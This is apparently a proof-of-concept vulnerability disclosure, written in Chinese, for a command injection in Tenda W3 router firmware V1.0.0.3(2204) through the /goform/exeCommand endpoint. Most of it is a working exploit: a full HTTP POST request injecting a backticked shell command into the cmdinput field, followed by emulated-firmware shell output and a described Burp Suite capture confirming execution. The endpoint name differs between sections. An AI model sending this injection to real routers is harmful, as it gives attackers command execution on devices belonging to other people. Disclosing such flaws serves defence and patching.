

厂商Tenda

- 产品: w3
- 固件版本: w3 V1.0.0.3(2204)
- 漏洞类型: 命令注入
- 漏洞路径: /goform/exeCommand
- 漏洞类型: 命令注入

```
POST /goform/exeCommand HTTP/1.1
```

```
Host: 192.168.0.3
```

```
Content-Length: 47
```

```
Cache-Control: max-age=0
```

```
Upgrade-Insecure-Requests: 1
```

```
Origin: http://192.168.0.3
```

```
Content-Type: application/x-www-form-urlencoded
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
```

```
Accept:
```

```
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
```

```
Referer: http://192.168.0.3/login.asp
```

```
Accept-Encoding: gzip, deflate, br
```

```
Accept-Language: en-US,en;q=0.9
```

```
Connection: close
```

```
cmdinput=`echo abcd > 1.txt`ping%20 192.168.0.4
```

```

dev    gdbserver mnt    sbin                usr    webroot_ro
root@debian-mipsel:~/_US_W3V1.0BR_V1.0.0.3(2204)_CN_TDC01.bin.extracted/squas
-root# cat 1.txt
root@debian-mipsel:~/_US_W3V1.0BR_V1.0.0.3(2204)_CN_TDC01.bin.extracted/squas
-root# echo good >1.txt
root@debian-mipsel:~/_US_W3V1.0BR_V1.0.0.3(2204)_CN_TDC01.bin.extracted/squas
-root# cat 1.txt
good
root@debian-mipsel:~/_US_W3V1.0BR_V1.0.0.3(2204)_CN_TDC01.bin.extracted/squas
-root# chroot . ./bin/sh
# ./bin/httpd

Yes:

***** WeLoveLinux*****

Welcome to ...
connect: No such file or directory

```

The image shows a terminal window on the left and a Burp Suite interface on the right. The terminal window displays the output of a command, showing a list of files and directories in the root of a chroot environment. The Burp Suite interface shows a network request and response. The request is a POST to /goform/executeCommand HTTP/1.1, and the response is a 200 OK status. The response body contains a PING command and its output.

Terminal Output:

```

# ls
webroot      1.txt
etc_ro       sbin
dev          var
init        tmp
lib         webroot_
sys         etc
qemu-mipsel-static mnt
# cat 1.txt
abcd
#

```

Burp Suite Request:

```

1 POST /goform/executeCommand HTTP/1.1
2 Host: 192.168.0.3
3 Content-Length: 47
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://192.168.0.3
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
9 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/web
  p,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Referer: http://192.168.0.3/login.asp
11 Accept-Encoding: gzip, deflate, br
12 Accept-Language: en-US,en;q=0.9
13 Connection: close
14
15 cmdinput='echo abcd > 1.txt'ping%20 192.168.0.4

```

Burp Suite Response:

```

1 HTTP/1.1 200 OK
2 Content-type: text/plain; charset=utf-8
3 Pragma: no-cache
4 Cache-Control: no-cache
5
6
7 PING 192.168.0.4 (192.168.0.4): 56 data bytes
8 64 bytes from 192.168.0.4: seq=0 ttl=64 time=1.082 ms
9 64 bytes from 192.168.0.4: seq=1 ttl=64 time=1.066 ms
10 64 bytes from 192.168.0.4: seq=2 ttl=64 time=1.255 ms
11
12 --- 192.168.0.4 ping statistics ---
13 3 packets transmitted, 3 packets received, 0% packet loss
14 round-trip min/avg/max = 1.066/1.134/1.255 ms
15

```